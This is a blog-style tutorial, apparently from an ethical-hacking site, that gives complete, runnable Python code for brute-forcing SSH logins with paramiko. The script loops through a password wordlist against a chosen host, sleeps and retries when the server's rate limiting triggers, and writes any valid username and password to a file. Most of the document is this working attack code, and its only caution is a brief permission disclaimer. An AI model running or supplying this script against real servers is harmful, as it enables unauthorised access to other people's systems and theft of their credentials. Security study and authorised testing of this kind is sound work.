How to Brute-Force SSH Servers in Python

Abdou Rockikz · 09 nov 2019

Abdou Rockikz · 4 min read · Ethical Hacking

Brute-force attack is an activity which involves repetitive attempts of trying many password combinations to break into a system that requires authentication. In this tutorial, you will learn how you can make a brute-force script in Python for SSH connection.

Read AlsoHow to Make a Subdomain Scanner in Python.

We'll be using paramiko library that provides us with an easy SSH client interface, let's install it:

pip3 install paramiko colorama

We're using colorama just for nice printing, nothing else.

Open up a new Python file and import the required modules:

import threading
import paramiko
import socket
import time
from colorama import init, Fore

Defining some colors we gonna use:

# initialize colorama
init()

GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET
BLUE  = Fore.BLUE

Now let's build a function that given hostname, username and password, it tells us whether the combination is correct:

def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
    except paramiko.SSHException:
        print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
        # sleep for a minute
        time.sleep(60)
        return is_ssh_open(hostname, username, password)
    else:
        # connection was established successfully
        print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
        return True

A lot to cover here. First, we initialize our SSH Client using paramiko.SSHClient() class which is a high-level representation of a session with an SSH server.

Second, we set the policy to use when connecting to servers without a known host key, we used paramiko.AutoAddPolicy() which is a policy for automatically adding the hostname and new host key to the local host keys, and saving it.

Finally, we try to connect to the SSH server and authenticate to it using client.connect() method with a 3 seconds of timeout, this method raises:

  • socket.timeout: when the host is unreachable during the 3 seconds.
  • paramiko.AuthenticationException: when the username and password combination is incorrect.
  • paramiko.SSHException: when a lot of logging attempts were performed in a short period of time, in other words, the server detects it is a some kind of brute-force, we will know that and sleep for a minute and recursively call the function again with the same parameters.

If none of the above exceptions were raised, then the connection is successfully established and the credentials are correct, we return True in this case.

Since this is a command line script, we will parse arguments passed in the command line:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
    parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
    parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
    parser.add_argument("-u", "--user", help="Host username.")

    # parse passed arguments
    args = parser.parse_args()
    host = args.host
    passlist = args.passlist
    user = args.user
    # read the file
    passlist = open(passlist).read().splitlines()
    # brute-force
    for password in passlist:
        if is_ssh_open(host, user, password):
            # if combo is valid, save it to a file
            open("credentials.txt", "w").write(f"{user}@{host}:{password}")
            break

We basically parsed arguments to retrieve the hostname, username and password list file and then iterate over all the passwords in the wordlist, I ran this on my local SSH server, here is a screenshot:

Result for Brute-forcing SSH server using Python Scriptwordlist.txt is a nmap password list file that contain more than 5000 passwords, I've essentially grabbed it from Kali Linux OS under the path "/usr/share/wordlists/nmap.lst".

DISCLAIMER: Test this with a server or a machine that you have permission to test on, otherwise it isn't our responsibility.

Alright, we are basically done with this tutorial, see how you can extend this script for improving it.

RELATEDHow to Make a Port Scanner in Python using Socket Library.

Happy Brute-forcing ♥

View Full Code
Sharing is caring!


Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.